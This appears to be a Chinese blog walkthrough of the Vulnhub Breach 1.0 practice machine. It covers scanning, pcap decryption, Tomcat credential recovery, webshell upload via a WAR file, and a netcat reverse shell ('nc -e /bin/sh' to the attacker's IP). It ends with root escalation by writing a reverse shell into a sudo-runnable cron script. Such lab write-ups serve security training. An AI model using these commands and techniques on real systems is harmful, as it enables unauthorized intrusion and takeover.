- 2018-10-09-Vulnhub渗透测试实战writeup(
- 2018-09-28-Vulnhub渗透测试实战writeup(
- 2018-09-18-Vulnhub渗透测试实战writeup(
- 2018-12-01-Vulnhub渗透测试实战writeup(
- 2018-09-14-Vulnhub渗透测试实战writeup(
- 2018-09-26-Vulnhub渗透测试实战writeup(
- 2018-10-08-Vulnhub渗透测试实战writeup(
- 2019-08-25-Vulnhub渗透测试实战writeup(
- 2019-08-27-Vulnhub渗透测试实战writeup(
- 2018-12-03-Vulnhub渗透测试实战writeup(
老规矩,先上nmap以及dirbuster
nmap扫描以后发现端口几乎全部开放了,显然是有问题的,应该是直接对端口扫描做了什么防护措施。


这样端口扫描的结果就不存在可信度了。
目录扫描的结果如下:

主要爆破出了该靶机使用的cms以及几个web页面,如initech.html,breach.html等等。

图片binwalk以及gedit看了下,没发现啥问题.
F12看了下源代码,发现一串base64,如下:

看了下手头有的信息,breach.html就是让你去看源代码的,其他的就没有什么了。说明这个有可能是那个cms的登录账号密码。试了一下,成功了。

进去以后一番搜寻,没发现啥,但是收件箱里面有一些邮件可以看看。


第二封就是过过剧情,主要是第一封信讲了这个证书可能是下一个clue.
然后再逛逛其他的部分,发现了一个pcap文件说明。

感觉这是要我们利用已知的密码和证书解密那个pcap文件到底是在干啥(也就是流量使用了SSL加密,并且可能使用了tomcat当服务器软件)
先下载下来再说,然后介绍下keytool这个工具,ubuntu上面直接在命令行就可以打开了。keytool是java配置的一个证书管理工具,可以生成证书,加载证书,导出证书,生成密码对等等。
一波演示:

利用前面的提示密码为tomcat直接打开了keystore
有了秘钥以后就可以直接生成pkcs证书了,命令如下:
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat


接着就是利用该证书解密流量了,又是一波骚操作。。。
打开wirkshark后选择edit,选择preference,再选择protocol,勾选ssl,填入相应设置,如下:

然后回到wireshark主界面就能直接获取解密流量了。
然后分析一波流量,翻着可以看到一个unauthorized的http包,一波http流量追踪。


可以看到攻击者先是请求一个html界面以后,服务器要求登录的信息流,再往下翻

可以看到攻击者登录成功了,而上面的请求包里面包含了认证信息。
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
解码如下:

账号密码为: tomcat:Tt\5D8F(#!*u=G)4m7zB
记录一下这里遇到一个奇怪现象,在python中base64模块解码出来的字符串会有两个反斜杠,但是brup以及其他在线网站都是只有一个而已.

估计是python为了标记反斜杠自己加上去的.
话不多说,进去就是tomcat管理界面了.

这里学习到tomcat管理后台如何上传大小马,这里的管理后台估计有杀毒软件或者其他检测webshell的工具,上传以后每隔几分钟就不见了.又得重新上传一次.
tomcat管理后台有一个上传war文件的地方,首先把那个你的小马.jsp压缩了,然后把zip后缀去掉改成war后缀就可以上传,上传成功以后首页会显示上传的目录,直接输入该目录访问就可以了.


然后直接cat一波/etc/passwd

然后直接发现三个使用过bash的用户,blumbergh,milton,root
然后当前目录是/var/lib/tomcat6/webapps/swingline/1
我们先切换到var/www下面看看有啥玩意

可以看到有两个目录,其中html主要是对80端口页面的一些文件.
直接查看一下5446目录下面,可以看到两个名字很长然后奇异的php文件,直接下载下来看看.


打开以后可以看到数据库的名字以及数据库的密码是空.

然后说到这个连接的情况,这里踩了一个深坑....几星期才解决这个问题,要明白有时候bash反弹以及netcat反弹都是没有显示的,需要你输入命令才有反弹信息回来,我之前已知以为是反弹失败了,结果用wireshark发现不断有报文传输回来,很好奇才试试命令输入,结果居然连接成功了,卧了个槽.

我最后使用了一个大马然后netcat反弹回来的nc -e /bin/sh 192.168.110.1 2333
然后根据前面的线索,直接mysql -u root -p 查看一波数据库

可以看到milton用户的密码哈希为:6450d89bd3aff1d893b85d3ad65d2ec2
接下来还能干啥,当然是直接cmd5啊.然而cmd5收费了....
这里介绍一个somd5网站,不收费...

解密出来是thelaststraw,最后一根稻草....这是暗示啥....
来到这一步很自然就是直接su 拉,正常应该是无法直接执行su命令的,所以直接上所谓的python大法拉. python -c 'import pty;pty.spawn("/bin/sh")'

开心地看到头部了,不再是啥都没有的一党.....

登入成功

并没有看到啥有用的信息...

可以看到内核版本为Linux Breach 4.2.0-27-generic,ubuntu 14.04.4
上一波exploit-db查有无提权本地提权漏洞.But found no result.....
查看一波bash命令的执行记录,看看啥玩意没有

可以看到以blumbergh的身份登录过.
接着就是找找有没有密码了.
这时候回到我们前面收集到的一个页面来.

可以从这里收集到几张图片,接着用strings命令把图片中的可打印字符给打印出来,然后找找看有没有啥提示....(其实我觉得这种在平时现实基本不可能遇到)

注意两个>>可以追加,一个只是覆盖.
然后可以查看到有趣的东西...一个单词....咖啡啧

然后就是直接上前面的连接试试能不能登上blumbergh了.

进去了以后一波ls -la操作

发现bash执行记录文件,查看一波

发现作者切换到cleanup目录下查看了tidyup.sh文件,跟随一波

脚本说明告诉我们每隔3分钟就会把webapps和swingline目录给清洗一下,保护不受黑客侵入.
就是这玩意让我前面上传木马的时候遭了n遍罪的.......FYM.
一波命令查看以后发现只有root才能写权限.
然后我们来看下sudo 有啥权限

发现我们可以sudo不用密码以root权限执行tidyup.sh这个脚本.....
这样的话可以有一种方法,这里介绍一下tee命令,tee命令用于读取标准输入的数据,并将其内容输出成文件.这样的话就有一条思路,我们先把nc反弹shell的命令通过tee命令从文件中接收输入并将其输出到tidy.sh中,然后就直接等该脚本执行就好....
如下:

然后在自己机器上直接开nc监听,等到该脚本执行就可以连接上了

可以看到返回来的权限就是root了.
可以看到当前目录下有张图片,把他拷贝到home目录下面来
然后查看一下crontab计划

最后一行确实每隔三分钟就执行tidyup.sh
科普一下crontab命令.

然后回到前面上传的大马那里把图片下载下来吧.

下载下来接结束拉,耗时三周才解决的ctf,这次够长的我去.....

Talk about my flair as much as you can~
思路总结:
1.进行端口扫描以及目录扫描发现cms以及一些图片,利用网页源代码信息登录cms.
2.查看cms中邮件提示信息下载pcap文件,并下载keystore.
3.熟悉keytool工具并利用keytool生成所谓的解密证书,加载到pacp文件中解密流量.
4.登录tomcat后利用后台上传点上传大马,并执行命令nc反弹shell回来.
5.利用各张图片打印出可打印字符,找到高权限用户的登录密码
6.利用tee命令将反弹shell命令写入自执行脚本中,之后可直接获取root权限
踩得深坑:上传大马反弹以后不一定有回显,要输入命令试一下!!!!!!
参考链接:http://www.freebuf.com/articles/system/171318.html
下载链接:https://download.vulnhub.com/breach/Breach-1.0.zip
网友评论